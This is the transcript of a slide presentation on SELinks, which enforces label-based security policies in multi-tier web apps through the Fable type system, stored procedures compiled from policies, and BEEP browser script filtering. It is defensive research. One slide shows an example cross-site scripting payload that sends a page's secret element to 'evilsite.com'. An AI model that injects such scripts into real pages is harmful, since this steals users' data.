1 / 29

Cross-tier Label-based Secu rity Enforcement in SELinks

Cross-tier Label-based Secu rity Enforcement in SELinks. Nik Swamy , Microsoft Research Michael Hicks, University of Maryland Brian Corcoran, University of Maryland. Web applications in Links. A single Links program is split into multiple tiers

verlee
Télécharger la présentation

Cross-tier Label-based Secu rity Enforcement in SELinks

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript

  1. Cross-tier Label-based SecurityEnforcement inSELinks NikSwamy,Microsoft Research Michael Hicks, University of Maryland Brian Corcoran, University of Maryland

  2. Web applications in Links • A single Links program is split into multiple tiers • Links: Cooper, Lindley, Wadler, Yallop (2006)

  3. GOAL: Reliably enforce end-to-end security policies for multi-tier web applications • A new type system for enforcing custom security policies, based on a formalism called Fable • A new code generator for efficiently enforcing policies across DB and server

  4. Security: One size does not fit all • Existing security-typed languages focus on specific sorts of policies • Jif, FlowCaml enforce information flow policies • But what about other kinds of policies? • Flavors of access control (RBAC, HBAC, …) • Security automata, stack inspection • Information flow, tainting, provenance, … • Want the benefits of security typing but the flexibility to define a variety of policies

  5. Fable:A type system for enforcing user-defined security policies • Provides primitives to annotate the type of sensitive data with a security label • As in prior approaches • But, the syntax and semantics of this label is programmer-defined • Given the semantics of labels, and the Fable metatheory, the policy designer can prove that type-correct programs enjoy relevant security properties • I.e., the policy is being enforced correctly

  6. Type correct? SECURE The Fable approach, pictorially Security Proof 1. Design format and semantics for labels as a library 2. Prove that this library correctly enforces security policy for type-correct programs 3. Write program that uses this policy - if it typechecks then it is secure Access Control Library Application Program Application Program 2 Application Program 3 Reuse library for several applications …

  7. Develop new libraries for new policies Security Proof Access Control Library Information Flow Library Data Provenance Library Information Release Pol. Library Security Automata Library Type correct? SECURE Application Program

  8. Applications may use several policies Security Proof Security Proof Access Control Library Data Provenance Library Application Program

  9. Customizable Security LabelsAssociated with Protected Data • Labels can be arbitrary data values • labl = High • labm = ACL(bjc,mwh,nswamy) • Protected data refers to its label in its type • intx = … // unprotected data • int{l}y = … // protected by labell • bool{Low}z = … // protected by labelLow • In general, protected data has a dependent typet{e} • t is the type of the underlying data • e is an expression that represents a security label

  10. a list, e.g.,[uid1; uid2; …] High integrity user credential. Produced, say, by a login function Data protected by acl, cannot be examined by unprivileged code Check if u is mentioned in the ACL policy keyword identifies this code as privileged  String Success: unlabel data and expose to application code Only policy code can destruct a labeled value Semantics of Security LabelsAn Access Control Enforcement Policy policyaccess (u:UserCred{High}, acl:lab, data: if (member u acl) then unlabeldata else raise Failure • {acl}) = • String{acl}) =

  11. Credential of user currently logged in “Phantom” label polymorphism • letacl2:lab, f2:File{acl2} = open_in “f2.txt” in Open file: get acl and file handle And must be the right check: No confused deputies • printstr (access user acl2 line) Infer instantiation of label variable Must call policy authorization check before printing {acl2} ->  String{acl} Access Control in Action • access: UserCred{High} -> (acl:lab) -> {acl} ->  letuser:UserCred{High} = login … in letacl:lab, fh:File{acl} = open_in “f.txt” in • readline: foralll. File{l} -> String{l} • printstr: String -> unit • letline:String{acl} =readlinefhin • printstr (access user acl line) • printstr line

  12. Application Experience • SEWiki: A blog/wiki written in SELinks • Supports standard features for page creation, hyperlinking, formatting, etc. • Roughly 4500 lines of SELinkscode • Enforces a fine-grained composite policy on document elements • Role-based access control for read/write access (200 LOC) • Provenance of document edits (100 LOC) • A electronic health record web app/DB • An e-commerce app ported from Links

  13. A document with components at different security levels Record provenance: revision history etc. Filter out part of document not accessible to this user saves changes Edits content in visible part of document Overview of SEWiki server client

  14. Documents are n-ary trees with words at the leaves A dependently typed pair First component a label l that protects the subtree in the second component Some subtrees can be protected by a security label Fine-grained Labeling of Documents typenameDom= [| Leaf : String -> Dom | Node : [Dom] -> Dom | Protected : (l:DomLab) ->Dom{l}-> Dom | … |] DomLabis just a user-defined datatype

  15. Interacting with the Database • We must be able to store labeled data in the database Some issues: • We must be able to store the labels themselves in the DB • Queries/updates must respect the security policy • Bulk-data processing should still be efficient

  16. Table name Custom datatype extensions to Postgres allows SELinks values to be stored in DB 1st column is the primary key 2nd column is a label that protects the data in the 3rd column A DB Schema in SELinks • Every DB table is given an SELinks type • Types can include label dependences table “labeled_doc” with= (id : Int, label : DomLab, data : String{label}) from database ”db”

  17. For each row in the table Where-clause must respect access control policy when inspecting labeled data Result is a list of all rows that satisfy the where-clause Accessing Labeled DB Data • Links treats every table as a list of tuples • Queries are list comprehensions • Search for all rows that contain the string “foo” varld =table … with … from db; var result = for(row <-- ld) where (access (cred, row.label, row.data)~ /foo/) [row];

  18. SQL compiled from list comprehension Stored proc. compiled from enforcement policy Executing SELinks Queries in the DB • Policy functions in a query must be executed in DB • Essential for reasonable performance • Solution: compile SELinks policies to DB stored procedures • SQL queries can call these procedures to enforce a policy • Roughly 10x improvement in performance • Allows for novel policies to be enforced; e.g., cross-tier stack inspection SELECT pageid FROM (SELECT tab.label AS label, tab.pageid AS pageid, tab.text AS text, access('Nik', tab.label, tab.text) AS tmp1 FROM page_blocks AS tab) AS tab WHERE (CASE … END) CREATE FUNCTION access(text, record, anyelement) RETURNS variant AS $$ DECLARE … BEGIN … END; $$ language ‘plpgsql’

  19. saves changes <script> varts = doc.getElement(“topsecret”); doc.location=“http://evilsite.com/?data=“+ts </script> XSS attack on SEWiki server client

  20. Protecting SEWiki from XSSSELinks produces BEEP-enabled code • Server-side filtering of all XSS is impossible Our insight: • Web browsers detect JavaScript perfectly • Frameworks like SELinks know exactly what scripts are needed for app functionality • Server specifies policy, Browser enforces it BEEP = Browser-enforced Embedded Policies

  21. The assessment so far … • Easy to program with simple policies • Able to verify security properties • Noninterference, dependency correctness, non-observability • Reusable policy modules • Share access control between SEWiki and SEWinestore • BUT, hard to program with complex policies (e.g., information flow tracking) • Requires many extra calls to enforcement policy • Cf. Mike’s talk for our current work towards solving this http://www.cs.umd.edu/projects/PL/selinks

  22. BEEP Browser-Enforced Embedded Policies • Each page is served with a policy specifying the trusted scripts • Policy is either a whitelist • Cryptographic hash of good scripts • Or, a blacklist • All dynamic content is sandboxed • Reasonable overhead • 6% slowdown on average • Could be lower with native support

  23. Filtering Scripts in the Browser • A customized web browser filters out XSS scripts • Safari, Konqueror, Opera and partially support in Firefox • When parsing an HTML document, the browser calls a policy hook function each time a JavaScript is found • The browser loads the JavaScript only if the hook authorizes it • Relatively small changes to these browsers • E.g., Less than 1000 LOC in Safari (350,000 LOC)

  24. Conclusions • Enforcement of user-defined security policies brings the benefit of security typing to a wide range of policies • Security assurances as strong as those provided by special-purpose systems • Fable metatheory assists in security proof • Download SELinks, try our demos http://www.cs.umd.edu/projects/PL/selinks

  25. The anatomy of secure data access in a web application Web app users DB Users: DBA, AppUser, … Middle Tier DBMS Auth Context AsAppUser: SELECT * FROM RECORDS getMyRecords RECORDS Policy enforcement logic Result set:

  26. Secure data access in a web appExample code User requests health records for a patient pat EHRRecordsgetRecords(string req, string pat) { var answer = new EHRRecords(); varrecordItems = m_dataProvider.EnumerateRecordItems(pat); foreach (var record in recordItems) { if (GetAuthContext().performAuth( "CanGetRecordItem", req, pat, record.ItemId)) answer.Add(record); } return answer; } Fetch all records for pat from DB Security check on each record in DB result set Answer contains records filtered by security check

  27. The anatomy of secure data access in a web application Web app users DB Users: DBA, AppUser, … Middle Tier DBMS Auth Context AsAppUser: SELECT * FROM RECORDS getMyRecords RECORDS Policy enforcement logic Result set: Inefficient: pulls more data from the DB than needed Insecure: violates least privilege Unreliable: application program omits a check?

  28. Secure data access in SELinks Query contains call to stored procedure, includes app auth context DBMS Middle Tier RECORDS Auth Context SELECT * FROM RECORDS WHERE StoredProc(…) Query Engine Policy enforcement logic Policy enforcement logic COMPILED StoredProc/UDF Efficient: pulls only as much data as needed, maintains least privilege Reliable: we use typing to verify complete mediation

More Related